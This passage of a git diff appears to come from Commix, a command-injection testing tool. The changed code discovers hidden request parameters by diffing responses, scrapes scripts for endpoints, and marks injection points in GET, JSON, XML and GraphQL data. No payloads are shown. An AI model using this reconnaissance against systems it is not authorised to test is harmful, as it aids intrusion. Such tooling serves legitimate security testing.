every other comparison in the run reads one. +""" +def _page(url, http_request_method): + from src.core.requests import headers + from src.core.requests import requests + from src.core.controller import checks + try: + request = _urllib.request.Request(url, method=http_request_method) + headers.do_check(request) + response = requests.get_request_response(request) + if response is None or isinstance(response, bool): + return None + return checks.comparable_page(checks.decode_page_body(response.read(), response)) + except Exception: + return None + +""" +The longest run of text a page carries that the one it is compared against does not. + +Taken as a length rather than as a ratio of the whole: what a parameter adds is the same handful of +characters whether the page around it is a line or a hundred kilobytes, and a ratio reads the second +as unchanged. +""" +def _inserted(control, page): + if control is None or page is None: + return 0 + runs = [end - start for tag, _, _, start, end + in difflib.SequenceMatcher(None, control, page).get_opcodes() if tag in ("insert", "replace")] + return max(runs) if runs else 0 + +""" +Whether a page answers differently from the decoys', by more than the page moves on its own. +""" +def _differs(control, page, noise=0): + return _inserted(control, page) > max(noise, settings.MINING_MINIMUM_INSERT) + +""" +What the page moves on its own, measured at its widest rather than at whichever sample came first. + +A page that answers differently at random - a rate limit, an interstitial, a cache that misses - can +hand back the same answer twice and read as a page that never moves, which leaves the next answer of +the other kind looking like a parameter. +""" +def _noise(url, samples, http_request_method): + pages = [page for page in samples if page is not None] + widest = 0 + for index, page in enumerate(pages): + for other in pages[index + 1:]: + widest = max(widest, _inserted(page, other), _inserted(other, page)) + return widest + +""" +Whether a name answers differently every time it is asked, rather than once. + +A page that moves on its own answers differently now and then whatever it is sent, so a name is kept +only where the difference is there each time it is looked for. +""" +def _confirmed(url, name, control, noise, http_request_method): + for _ in range(settings.MINING_CONFIRMATIONS): + if not _differs(control, _page(_with(url, [name]), http_request_method), noise): + return False + return True + +""" +The names in a bucket the target answers to, found by halving the bucket rather than by asking for +each name on its own - a bucket that changes nothing is one request for every name in it. +""" +def _narrow(url, bucket, control, noise, http_request_method): + if len(bucket) == 1: + return list(bucket) if _confirmed(url, bucket[0], control, noise, http_request_method) else [] + middle = len(bucket) // 2 + found = [] + for half in (bucket[:middle], bucket[middle:]): + if _differs(control, _page(_with(url, half), http_request_method), noise): + found += _narrow(url, half, control, noise, http_request_method) + return found + +""" +The parameters a target answers to without naming them anywhere. + +Each bucket of candidates is asked for in one request and only a bucket that changes the page is +taken apart, so the cost is the buckets rather than the names. +""" +def mine_parameters(url, http_request_method): + names = [name for name in _candidates() if (name + "=") not in url] + if not names: + return [] + info_msg = "Mining for parameters the target answers to but does not name." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + size = settings.PARAMETER_MINING_BUCKET + control = _page(_with(url, [_decoy() for _ in range(size)]), http_request_method) + if control is None: + return [] + # Several answers to names the target cannot know either, so that what the page moves on its own is + # measured rather than read as an answer. + samples = [control] + [_page(_with(url, [_decoy() for _ in range(size)]), http_request_method) + for _ in range(settings.MINING_NOISE_SAMPLES)] + noise = _noise(url, samples, http_request_method) + found = [] + for index in range(0, len(names), size): + bucket = names[index:index + size] + if _differs(control, _page(_with(url, bucket), http_request_method), noise): + found += _narrow(url, bucket, control, noise, http_request_method) + if found: + info_msg = "The target answers to '" + "', '".join(found) + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return found + +""" +The scripts a page loads from the same host, which the crawler passes over on its way to the links. +""" +def script_sources(url, content): + sources = [] + for match in re.finditer(r'(?i)<script[^>]+src=["\']([^"\']+\.js[^"\']*)["\']', content or ""): + href = _urllib.parse.urljoin(url, match.group(1)) + if _urllib.parse.urlparse(url).netloc in href and href not in sources: + sources.append(href) + return sources[:settings.MAX_MINED_SCRIPTS] + +""" +The endpoints written into a script, which a page never links to and a crawler never reaches. +""" +def endpoints_in(url, script): + found = [] + for match in re.finditer(r"""["'](/[A-Za-z0-9_\-./]{2,}(?:\.\w{2,5}(?:\?[^"']*)?|\?[^"']*))["']""", script or ""): + href = _urllib.parse.urljoin(url, match.group(1)) + if href not in found: + found.append(href) + return found + +""" +The endpoints the scripts a page loads name, read once per script and bounded by size. +""" +def mine_endpoints(url, content, http_request_method): + from src.core.requests import headers + from src.core.requests import requests + from src.core.controller import checks + found = [] + for source in script_sources(url, content): + try: + request = _urllib.request.Request(source, method=settings.HTTPMETHOD.GET) + headers.do_check(request) + response = requests.get_request_response(request) + if response is None or isinstance(response, bool): + continue + script = checks.decode_page_body(response.read()[:settings.MAX_MINED_SCRIPT_SIZE], response) + except Exception: + continue + for href in endpoints_in(source, script): + if href not in found: + found.append(href) + return found diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 837b5504d8..953fc4a0e1 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,24 +3,25 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re -import os -import sys -from src.utils import menu +import json +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.requests import cookies +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list +from src.thirdparty.odict import OrderedDict """ Get the URL part of the defined URL. @@ -32,26 +33,135 @@ def get_url_part(url): return url_part +""" +Grab the value out of a plain 'key=value' fragment. +""" +def get_kv_value(parameter): + value = re.findall(r'=(.*)', parameter) + value = ''.join(value) + return value + +""" +Unwrap a value that's a lone CDATA section, otherwise return it unchanged. +""" +def unwrap_cdata(value): + cdata_only = re.match(r'\A<!\[CDATA\[(.*)\]\]>\Z', value, re.S) + return cdata_only.group(1) if cdata_only else value + +""" +Insert the INJECT_HERE tag right after 'value' inside 'text'. +""" +def apply_tag_to_value(text, value): + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + text = text.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + text = text.replace(value, value + settings.INJECT_TAG) + return text + +""" +Find the pair carrying the INJECT_TAG and register it as the vulnerable parameter. +""" +def extract_vuln_param_from_pairs(text, delimiter, strip_leading_space=False, check_base64_padding=False): + pairs = text.split(delimiter) + if strip_leading_space: + pairs = [p.lstrip(settings.SINGLE_WHITESPACE) for p in pairs] + pairs[:] = [p for p in pairs if "=" in p] + for pair in pairs: + if settings.INJECT_TAG in pair: + vuln_parameter, param_value = pair.split("=", 1) + if settings.CUSTOM_INJECTION_MARKER: + register_custom_injection_marker(vuln_parameter, param_value) + settings.TESTABLE_VALUE = param_value.replace(settings.INJECT_TAG, "") + if check_base64_padding and settings.BASE64_PADDING in pair and not settings.TESTABLE_VALUE.endswith(settings.BASE64_PADDING): + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING + return vuln_parameter + return None + +""" +Resolve the custom-marker component to prepend/append to a prefix or suffix. +""" +def resolve_marker_component(default_value, marker_char): + # Asked of the component being resolved rather than of the one that comes before it: a marker at + # the very start of a value leaves nothing in front of it, and the text behind it is the suffix + # all the same - read off the part in front, that text was dropped from the suffix entirely. + if settings.CUSTOM_INJECTION_MARKER and len(marker_char) != 0: + return marker_char + if settings.IS_JSON or (settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, + settings.REFERER_INJECTION, settings.HOST_INJECTION, + settings.CUSTOM_HEADER_INJECTION))): + return None + return default_value + +""" +Put the marker inside an empty JSON string value, however the document spaces it. + +Read with whatever sits between the colon and the quotes rather than against one spelling of it: a +body that was pretty-printed - which every one taken from a request file is - writes '"k": ""', and +a replacement looking only for '"k":""' passed those leaves over and left them untested, while +saying the value was empty as though it were about to test it. The spacing is put back as it was, +since the body has to reach the target the way it was given. +""" +def tag_empty_json_value(text): + marker = settings.INJECT_TAG + text = re.sub(r':(\s*)""', lambda match: ":" + match.group(1) + "\"" + marker + "\"", text) + return re.sub(r':(\s*)\\"\\"', lambda match: ":" + match.group(1) + "\\\"" + marker + "\\\"", text) + +""" +Shield each leaf element behind a placeholder so a line/element split can't fragment it. +""" +def shield_xml_leaves(text): + shielded = [] + # Set a matched span aside behind a placeholder, so nothing rewrites it. + def _shield(m): + shielded.append(m.group(0)) + return "<\x00SHIELD" + str(len(shielded) - 1) + "\x00>" + shielded_text = re.sub(r"<(\w[\w:.\-]*)((?:\s+[^<>]*)?)>((?:[^<]|<!\[CDATA\[.*?\]\]>)*)</\1>", + _shield, text, flags=re.S) + return shielded_text, shielded + +""" +Reverse shield_xml_leaves() on a string or a list of strings. +""" +def restore_xml_shields(text_or_list, shielded): + # Put the set-aside spans back where their placeholders are. + def _restore_one(s): + for index, value in enumerate(shielded): + s = s.replace("<\x00SHIELD" + str(index) + "\x00>", value) + return s + if isinstance(text_or_list, list): + return [_restore_one(s) for s in text_or_list] + return _restore_one(text_or_list) + """ Check if the 'INJECT_HERE' tag, is specified on GET Requests. """ def do_GET_check(url, http_request_method): - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - url = checks.wildcard_character(url) + multi_params_get_value = get_kv_value - # Check for REST-ful URLs format. + if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM_PARAMS: + return False + + if settings.USER_DEFINED_POST_DATA: + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM_PARAMS: + return False + if settings.INJECT_TAG in url: + settings.IGNORE_USER_DEFINED_POST_DATA = True + + # Replace with INJECT_HERE, honoring the custom marker character. + url = checks.process_custom_injection_data(url) + # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: - if menu.options.level == 3 or menu.options.header or menu.options.headers: - return False - if menu.options.level == 2 : + if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ + len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or \ + (settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL and menu.options.cookie) or \ + settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False - else: - err_msg = "No parameter(s) found for testing on the provided target URL. " - err_msg += "You must specify the testable parameter(s) and/or " - err_msg += "try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: + checks.no_parameters_found() elif menu.options.shellshock: return False return [url] @@ -63,312 +173,602 @@ def do_GET_check(url, http_request_method): else: # Find the host part url_part = get_url_part(url) - # Find the parameter part - parameters = url.split("?")[1] + # Find the parameter part - everything past the first '?', since a value of its own can carry + # one too: a parameter holding a URL takes the rest of the query with it otherwise. + parameters = url.split("?", 1)[1] + # A fragment is never sent to the target, so it belongs to no parameter's value - and a + # payload placed after it would be tested where nothing can read it. + parameters = parameters.split("#", 1)[0] # Split parameters - multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + try: + multi_parameters = parameters.split(settings.URL_PARAM_DELIMITER) + multi_parameters = [x for x in multi_parameters if x] + except ValueError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() + # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): return urls_list # Grab the value of parameter. - _ = [] - _.append(parameters) - parameters = ''.join(checks.check_similarities(_)) - value = re.findall(r'=(.*)', parameters) - value = ''.join(value) + single = [] + single.append(parameters) + parameters = ''.join(checks.check_similarities(single)) + value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) - # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(parameters): + if checks.ignore_anticsrf_parameter(parameters) or checks.ignore_stateful_parameter(parameters) or checks.ignore_randomized_parameter(parameters): return urls_list if len(value) == 0: + # An empty or absent value is still an empty value, so '--skip-empty' applies here too. + if menu.options.skip_empty: + return urls_list parameters = parameters + settings.INJECT_TAG else: - parameters = parameters.replace(value, value + settings.INJECT_TAG) - else: - # Auto-recognize prefix / suffix - if settings.INJECT_TAG in value: - if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: - menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] - if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: - menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] - parameters = parameters.replace(value, value + settings.INJECT_TAG) + parameters = apply_tag_to_value(parameters, value) # Reconstruct the URL url = url_part + "?" + parameters + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) - return urls_list - + return urls_list else: - # Check if multiple parameters are supplied without the "INJECT_HERE" tag. - all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) - all_params = all_params.split(settings.PARAMETER_DELIMITER) + # Multiple parameters without the INJECT_HERE tag. + all_params = list(multi_parameters) # Check for similarity in provided parameter name and value. all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag if settings.INJECT_TAG not in url: for param in range(0,len(all_params)): - if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) - else : - old = value # Grab the value of parameter. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) + value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(all_params[param]): + if checks.ignore_anticsrf_parameter(all_params[param]) or checks.ignore_stateful_parameter(all_params[param]) or checks.ignore_randomized_parameter(all_params[param]): + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) - # Replace the value of parameter with INJECT_HERE tag - if len(value) == 0: - if not menu.options.skip_empty: - all_params[param] = all_params[param] + settings.INJECT_TAG + # An empty value is backfilled with RANDOM_TAG upstream, so measure it with that stripped. + if len(value.replace(settings.RANDOM_TAG, "")) == 0: + if menu.options.skip_empty: + # Mirror the anti-CSRF skip: drop the previous tag and add no untagged candidate. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - parameter = settings.PARAMETER_DELIMITER.join(all_params) + all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + parameter = settings.URL_PARAM_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) else: - for param in range(0,len(multi_parameters)): - # Grab the value of parameter. - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) - parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) - # Reconstruct the URL - url = url_part + "?" + parameter + parameter = settings.URL_PARAM_DELIMITER.join(multi_parameters) + # Reconstruct the URL + url = url_part + "?" + parameter + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) - return urls_list + return urls_list + +""" +Custom injection marker character bookkeeping. +""" +def register_custom_injection_marker(vuln_parameter, value_with_marker): + try: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = value_with_marker.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = value_with_marker.split(settings.INJECT_TAG)[1] + except Exception: + pass """ Define the vulnerable GET parameter. """ def vuln_GET_param(url): - urls_list = [] # Define the vulnerable parameter + vuln_parameter = None if "?" not in url: # Grab the value of parameter. value = re.findall(r'/(.*)/' + settings.INJECT_TAG + "", url) value = ''.join(value) vuln_parameter = re.sub(r"/(.*)/", "", value) - elif re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ - re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): - pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) - for param in range(0,len(pairs)): - if settings.INJECT_TAG in pairs[param]: - vuln_parameter = pairs[param].split("=")[0] - break - + # Allow a value with a space, and escape the delimiter (--pdel). + elif re.search(re.escape(settings.URL_PARAM_DELIMITER) + r"(.*)=.*" + settings.INJECT_TAG, url) or \ + re.search(r"\?(.*)=.*" + settings.INJECT_TAG , url): + vuln_parameter = extract_vuln_param_from_pairs(url.split("?", 1)[1], settings.URL_PARAM_DELIMITER, check_base64_padding=True) else: vuln_parameter = url - return vuln_parameter + if vuln_parameter is None: + return url + + if settings.USER_DEFINED_POST_DATA and vuln_parameter: + settings.IGNORE_USER_DEFINED_POST_DATA = True + + return vuln_parameter """ -Check if the 'INJECT_HERE' tag, is specified on POST Requests. +Build one tagged candidate per leaf for a fragment whose value is itself a nested object. """ -def do_POST_check(parameter, http_request_method): - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - parameter = checks.wildcard_character(parameter).replace("'","\"") +def json_nested_leaf_candidates(fragment, full_parameter): + candidates = [] + key_match = re.match(r'\s*\{?\s*"([^"]+)"\s*:', fragment) + if not key_match: + return candidates + try: + full_json = json.loads(full_parameter, object_pairs_hook=OrderedDict) + except Exception: + return candidates + nested_value = full_json.get(key_match.group(1)) if isinstance(full_json, dict) else None + if not isinstance(nested_value, dict): + return candidates + for leaf_key, leaf_value in flatten(nested_value).items(): + last_key = leaf_key.split(settings.FLATTEN_JSON_SEPARATOR)[-1] + dumped = json.dumps(leaf_value) + anchor = "\"" + last_key + "\":" + settings.SINGLE_WHITESPACE + dumped + if anchor not in full_parameter: + anchor = "\"" + last_key + "\":" + dumped + if anchor not in full_parameter: + continue + if isinstance(leaf_value, str): + replacement = anchor[:-1] + settings.INJECT_TAG + "\"" + else: + replacement = anchor[:anchor.rindex(dumped)] + "\"" + dumped + settings.INJECT_TAG + "\"" + candidates.append(full_parameter.replace(anchor, replacement, 1)) + return candidates + +""" +Check if a JSON string is an empty object. +""" +def is_empty_json_object(s): + try: + return json.loads(s) == {} + except Exception: + return False + +""" +Grab the value of a single POST parameter fragment. +""" +def multi_params_get_value(param, all_params): + # Check if parameters are empty or meaningless + if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_object(all_params[0])))): + checks.no_parameters_found() + + if settings.IS_GRAPHQL: + return graphql_value(all_params[param]) + + if settings.IS_JSON: + try: + # Single-parameter case: flatten to get the leaf value. + if len(all_params) != 1: + raise ValueError + flat = flatten(json.loads(all_params[param], object_pairs_hook=OrderedDict)) + value = json.dumps(list(flat.values())[0]) + except Exception: + # The whitespace after the colon belongs to the document's layout, not to the value, and a + # value carrying it would no longer be found in the fragment it came from. + value = re.findall(r'\:\s*(.*)', all_params[param]) + if not value: + value = all_params[param] + value = ''.join(value) + if value.endswith("\"}"): + value = (value[:-len("}")]) + if checks.quoted_value(value) and any(_ in "[]{}" for _ in value): + value = value.replace("\"","") + else: + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value) + elif settings.IS_XML: + # Grab the value of parameter (unwrap CDATA). + value = unwrap_cdata(''.join(re.findall(r'>(.*)</', all_params[param], re.S))) + else: + value = get_kv_value(all_params[param]) + return value + +""" +Check JSON objects format. +""" +def json_format(parameter): + return json.loads(parameter, object_pairs_hook=OrderedDict) + +""" +Check for int value inside JSON objects. +""" +def json_int_check(parameter, value): + try: + parameter = json_format(parameter) + except Exception: + if not checks.quoted_value(value + settings.INJECT_TAG) in parameter: + if any(_ in "[]{}" for _ in value): + v = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value.lstrip()) + parameter = parameter.replace(value + settings.INJECT_TAG, value.replace(v, checks.quoted_value(v + settings.INJECT_TAG))) + else: + parameter = parameter.replace(value + settings.INJECT_TAG, checks.quoted_value(value + settings.INJECT_TAG)) + if settings.INJECT_TAG in value and not checks.quoted_value(value) in parameter: + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value.lstrip()) + parameter = parameter.replace(value, checks.quoted_value(value)) + try: + parameter = json_format(parameter) + except Exception: + # Fall back to the raw value if JSON formatting fails. + return parameter + + tag_free_keys = True + if isinstance(parameter, list): + parameter = parameter[(len(parameter) - 1)] + + if isinstance(parameter, OrderedDict): + for keys,values in parameter.items(): + if settings.INJECT_TAG in keys: + tag_free_keys = False + break + + if tag_free_keys and isinstance(parameter, OrderedDict): + parameter = unflatten_list(parameter) + + parameter = checks.format_json(parameter) + return parameter + +""" +Detect the POST body's data format (JSON/XML/plain) and set the relevant settings. +""" +def configure_post_data_format(parameter, http_request_method): + # The layout has to be read before anything rewrites it, and only from a body that is still + # the one the user supplied - later calls arrive with the injection tag already in place. + supplied = parameter if settings.INJECT_TAG not in parameter else None + parameter = checks.process_custom_injection_data(parameter) + # Single quotes and spacing are rewritten to make JSON-shaped data parseable, so that rewrite is + # only kept when the result is in fact JSON - a form body must reach the target as it was given. + json_shaped = parameter.replace("'","\"").replace(", ",",").replace(",\"", ", \"") + if checks.is_JSON_check(json_shaped) or checks.is_JSON_check(checks.check_quotes_json_data(json_shaped)): + parameter = json_shaped # Check if JSON Object. - if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): - parameter = checks.check_quotes_json_data(parameter) + if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): + if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): + parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: - checks.process_json_data() - settings.PARAMETER_DELIMITER = "," + data_type = "JSON" + settings.IS_JSON = checks.process_data(data_type, http_request_method) + settings.POST_DATA_PARAM_DELIMITER = "," + checks.warn_on_duplicate_json_keys(parameter) + if supplied is not None: + settings.JSON_FORMATTING = checks.json_formatting(supplied) + # Check if GraphQL document. + elif checks.is_GraphQL_check(parameter): + if not settings.IS_GRAPHQL: + data_type = "GraphQL" + settings.IS_GRAPHQL = checks.process_data(data_type, http_request_method) + settings.POST_DATA_PARAM_DELIMITER = "" + # Check if XML Object. - elif checks.is_XML_check(parameter): + elif checks.is_XML_check(parameter): if not settings.IS_XML: - checks.process_xml_data() - settings.PARAMETER_DELIMITER = "" - else: - pass - parameters_list = [] - # Split multiple parameters - if settings.IS_XML: - parameter = re.sub(r">\s*<", '>\n<', parameter).replace("\\n","\n") - _ = [] + data_type = "XML/SOAP" + settings.IS_XML = checks.process_data(data_type, http_request_method) + settings.POST_DATA_PARAM_DELIMITER = settings.END_LINE.LF + + elif settings.TESTABLE_PARAMETERS_LIST and not any(ext in parameter for ext in settings.TESTABLE_PARAMETERS_LIST) and not settings.INJECT_TAG in parameter: + if settings.SKIP_NON_CUSTOM_PARAMS: + settings.IGNORE_USER_DEFINED_POST_DATA = True + + if settings.IGNORE_USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM_PARAMS: + return None + return parameter + +""" +The document cut after each argument it carries, so that the pieces joined again are the document. + +Everything between two arguments travels with the one before it, and whatever follows the last one +travels with it - so every piece holds exactly one argument, which is what the rest of the run tests. +""" +def graphql_fragments(document): + matches = list(re.finditer(settings.GRAPHQL_ARGUMENT_REGEX, document)) + if not matches: + return [document] + fragments = [] + start = 0 + for position, match in enumerate(matches): + end = len(document) if position == len(matches) - 1 else match.end() + fragments.append(document[start:end]) + start = end + return fragments + +""" +The string an argument is given, taken from the piece of the document that carries it. +""" +def graphql_value(fragment): + match = re.search(settings.GRAPHQL_ARGUMENT_REGEX, fragment) + return match.group(2) if match else "" + +""" +The argument a document carried inside a JSON envelope gives, as the body itself spells it. + +A payload put at the end of the envelope's 'query' lands past the document's last brace and only +breaks it, so what is tested is the argument inside rather than the document around it. +""" +def graphql_in_json_value(body): + match = re.search(settings.GRAPHQL_ARGUMENT_ESCAPED_REGEX, body or "") + return match.group(2) if match else None + +""" +Split a POST body into its individual parameter fragments. +""" +def split_post_parameters(parameter): + if settings.IS_GRAPHQL: + multi_parameters = graphql_fragments(parameter) + elif settings.IS_XML: + # Expand self-closing tags; keep menu.options.data in sync. + expanded_parameter = re.sub(r"<([^\s/>]+)((?:[^>]*[^/>])?)\s*/>", r"<\1\2></\1>", parameter) + if expanded_parameter != parameter: + parameter = expanded_parameter + menu.options.data = expanded_parameter + # The split below replaces the whitespace between tags, so keep it to rebuild the body later. + # It is read from the body as supplied, since by now the parameter may already carry delimiters. + settings.XML_TAG_SEPARATORS = re.findall(r">(\s*)<", settings.USER_DEFINED_POST_DATA or parameter) + # Shield leaf elements before the ">"/"<" split below. + parameter, _shielded = shield_xml_leaves(parameter) + # Handed over as a function rather than as a string: a replacement string reads a backslash in + # the delimiter as an escape of its own, and a value such as "\1" is answered with an error + # about a group that was never asked for. + parameter = re.sub(r">\s*<", lambda match: ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) + kept = [] parameters = re.findall(r'(.*)', parameter) - parameters = [param + "\n" for param in parameters if param] + parameters = [param for param in parameters if param] for value in range(0,len(parameters)): - _.append(parameters[value]) - multi_parameters = _ - else: + kept.append(parameters[value]) + multi_parameters = kept + # Restore per entry (elements may contain newlines). + if _shielded: + multi_parameters = restore_xml_shields(multi_parameters, _shielded) + parameter = settings.POST_DATA_PARAM_DELIMITER.join(multi_parameters) + else: try: - multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) - multi_parameters = [x for x in multi_parameters if x] + multi_parameters = parameter.split(settings.POST_DATA_PARAM_DELIMITER) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ - not settings.IS_JSON and \ - not settings.IS_XML: - checks.inappropriate_format(multi_parameters) - # Check if single parameter is supplied. - if len(multi_parameters) == 1: - if settings.INJECT_TAG not in multi_parameters[0]: - # Grab the value of parameter. - if settings.IS_JSON: - # Grab the value of parameter. - value = re.findall(r'\"(.*)\"', parameter) - value = ''.join(value) - if value != settings.INJECT_TAG: - value = re.findall(r'\s*\:\s*\"(.*)\"', parameter) - value = ''.join(value) - elif settings.IS_XML: - # Grab the value of parameter. - value = re.findall(r'>(.*)</', parameter) - value = ''.join(value) - else: - _ = [] - _.append(parameter) - parameter = ''.join(checks.check_similarities(_)) - value = re.findall(r'=(.*)', parameter) - value = ''.join(value) - if checks.is_empty(multi_parameters, http_request_method): + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if len([s for s in multi_parameters if "=" in s]) == 0 and \ + not any((settings.IS_JSON, settings.IS_XML, settings.IS_GRAPHQL)): + checks.no_parameters_found() + + return multi_parameters, parameter + +""" +Handle a POST body that split into exactly one parameter fragment. +""" +def handle_single_post_parameter(parameter, multi_parameters, http_request_method): + if settings.INJECT_TAG not in multi_parameters[0]: + # Grab the value of parameter. + if settings.IS_GRAPHQL: + value = graphql_value(multi_parameters[0]) + elif settings.IS_JSON: + value = multi_params_get_value(0, checks.check_similarities([multi_parameters[0]])) + inline = graphql_in_json_value(parameter) + if inline: + value = inline + elif settings.IS_XML: + # Grab the value of parameter (unwrap CDATA). + value = unwrap_cdata(''.join(re.findall(r'>(.*)</', parameter, re.S))) + else: + value = get_kv_value(parameter) + + if checks.is_empty(multi_parameters, http_request_method): + return parameter + else: + # Ignoring the anti-CSRF parameter(s). + if checks.ignore_anticsrf_parameter(parameter) or checks.ignore_stateful_parameter(parameter) or checks.ignore_randomized_parameter(parameter): return parameter + # Replace the value of parameter with INJECT_HERE tag + if len(value) == 0: + if settings.IS_JSON: + parameter = tag_empty_json_value(parameter) + else: + parameter = parameter + settings.INJECT_TAG else: - # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(parameter): - return parameter - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) - # Replace the value of parameter with INJECT_HERE tag - if len(value) == 0: - if settings.IS_JSON: - parameter = parameter.replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"") - else: - parameter = parameter + settings.INJECT_TAG + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + parameter = parameter.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - parameter = parameter.replace(value, value + settings.INJECT_TAG) - return parameter - else: - return multi_parameters + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + anchor = ":" + settings.SINGLE_WHITESPACE + value + if settings.IS_JSON and anchor not in parameter: + anchor = 